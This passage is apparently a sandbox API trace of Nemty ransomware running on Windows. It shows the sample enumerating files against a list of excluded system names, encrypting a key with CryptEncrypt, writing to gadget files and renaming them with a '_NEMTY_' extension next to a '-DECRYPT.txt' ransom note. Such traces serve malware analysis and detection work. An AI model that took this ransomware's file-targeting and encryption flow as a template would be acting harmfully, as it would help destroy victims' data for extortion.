hFile=0xffffffff, lpBuffer=0x6340230, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0150.072] CloseHandle (hObject=0xffffffff) returned 0 [0150.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403a0 [0150.072] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0150.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0150.072] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0150.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0150.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0150.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340448 [0150.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0150.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340448 | out: hHeap=0x4f90000) returned 1 [0150.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0150.072] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css\\settings.css"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\settings.css._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css\\settings.css._nemty_kgobjgd_")) returned 0 [0150.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0150.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403a0 | out: hHeap=0x4f90000) returned 1 [0150.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0150.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340230 | out: hHeap=0x4f90000) returned 1 [0150.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0150.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0150.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0150.072] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x603c, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="weather.css", cAlternateFileName="")) returned 1 [0150.072] lstrcmpiW (lpString1="weather.css", lpString2=".") returned 1 [0150.072] lstrcmpiW (lpString1="weather.css", lpString2="..") returned 1 [0150.072] lstrcmpiW (lpString1="weather.css", lpString2="...") returned 1 [0150.072] lstrcmpiW (lpString1="weather.css", lpString2="windows") returned -1 [0150.072] lstrcmpiW (lpString1="weather.css", lpString2="$RECYCLE.BIN") returned 1 [0150.072] lstrcmpiW (lpString1="weather.css", lpString2="rsa") returned 1 [0150.072] lstrcmpiW (lpString1="weather.css", lpString2="NTDETECT.COM") returned 1 [0150.072] lstrcmpiW (lpString1="weather.css", lpString2="ntldr") returned 1 [0150.072] lstrcmpiW (lpString1="weather.css", lpString2="MSDOS.SYS") returned 1 [0150.073] lstrcmpiW (lpString1="weather.css", lpString2="IO.SYS") returned 1 [0150.073] lstrcmpiW (lpString1="weather.css", lpString2="boot.ini") returned 1 [0150.073] lstrcmpiW (lpString1="weather.css", lpString2="boot.ini") returned 1 [0150.073] lstrcmpiW (lpString1="weather.css", lpString2="AUTOEXEC.BAT") returned 1 [0150.073] lstrcmpiW (lpString1="weather.css", lpString2="ntuser.dat") returned 1 [0150.073] lstrcmpiW (lpString1="weather.css", lpString2="desktop.ini") returned 1 [0150.073] lstrcmpiW (lpString1="weather.css", lpString2="CONFIG.SYS") returned 1 [0150.073] lstrcmpiW (lpString1="weather.css", lpString2="RECYCLER") returned 1 [0150.073] lstrcmpiW (lpString1="weather.css", lpString2="BOOTSECT.BAK") returned 1 [0150.073] lstrcmpiW (lpString1="weather.css", lpString2="bootmgr") returned 1 [0150.073] lstrcmpiW (lpString1="weather.css", lpString2="programdata") returned 1 [0150.073] lstrcmpiW (lpString1="weather.css", lpString2="appdata") returned 1 [0150.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.073] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weather.css", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0150.073] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weather.css", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="weather.css", lpUsedDefaultChar=0x0) returned 11 [0150.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0150.073] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weather.css", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0150.073] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weather.css", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="weather.css", lpUsedDefaultChar=0x0) returned 11 [0150.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0150.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.073] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weather.css", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0150.073] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weather.css", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="weather.css", lpUsedDefaultChar=0x0) returned 11 [0150.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.073] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weather.css", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0150.073] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="weather.css", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="weather.css", lpUsedDefaultChar=0x0) returned 11 [0150.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400d0 [0150.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0150.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340178 [0150.073] Sleep (dwMilliseconds=0x5) [0150.085] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xd1ad190, dwHighDateTime=0x1d561e8)) [0150.085] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xd1ad190, dwHighDateTime=0x1d561e8)) [0150.085] GetLastError () returned 0x5 [0150.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0150.086] GetLastError () returned 0x5 [0150.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0150.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0150.086] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0150.086] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0150.086] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0150.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340220 [0150.086] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340220, pcchString=0x653e5dc | out: pszString="72P+I1JlfX9EvRwGoQD/U3aNS/LxaOuCDmTwlgFHhujpF/4ZxsYfMEn+DZkdsvAD\r\nNqN7SdZ2ZQGENLT40NC7xwd+5wsrnA5YwxTseJu+CT0Uex8q9pQmqABtF61VN9Hj\r\n/j2yOIxtHf38HsXedV7cSwutcwHcSKtFs6Mrj0mZn01fV2nG75hMGhm2by3C4qFb\r\nNtlDoNEGtr8e5fpHV9PYvZMWwCSALo8jWxglzx872hQn5yXLaOw4LLLd0ZQRZqSJ\r\nL2DSbpFu1rdqrQ7atexPwPnJo1kbNMWzmDAi984qn5Qo4FtLjudHKHDMvLxX6d2I\r\niVXKm4+Z271Kn3Jw9ADPCg==\r\n", pcchString=0x653e5dc) returned 1 [0150.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0150.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340220 | out: hHeap=0x4f90000) returned 1 [0150.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0150.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0150.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340220 [0150.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0150.086] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\weather.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css\\weather.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0150.086] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0150.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0150.086] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.086] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.096] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.096] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.096] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.096] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.105] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.105] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.114] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.115] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.115] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.115] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.124] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.124] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.124] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.124] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.133] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.133] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.133] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.133] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.142] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.142] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.142] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.142] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.152] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.152] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.152] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.152] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.161] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.161] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.161] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.161] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.171] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.171] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.171] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.171] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.180] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.180] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.180] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.180] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.186] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.186] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.192] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.192] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.192] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.192] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340220, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0150.192] CloseHandle (hObject=0xffffffff) returned 0 [0150.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340390 [0150.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0150.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0150.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0150.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0150.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0150.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340438 [0150.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63404e0 [0150.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340438 | out: hHeap=0x4f90000) returned 1 [0150.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0150.193] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\weather.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css\\weather.css"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\weather.css._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css\\weather.css._nemty_kgobjgd_")) returned 0 [0150.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e0 | out: hHeap=0x4f90000) returned 1 [0150.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340390 | out: hHeap=0x4f90000) returned 1 [0150.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0150.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340220 | out: hHeap=0x4f90000) returned 1 [0150.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0150.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0150.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340178 | out: hHeap=0x4f90000) returned 1 [0150.193] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf25a30, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0xcf25a30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xcf25a30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0150.193] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 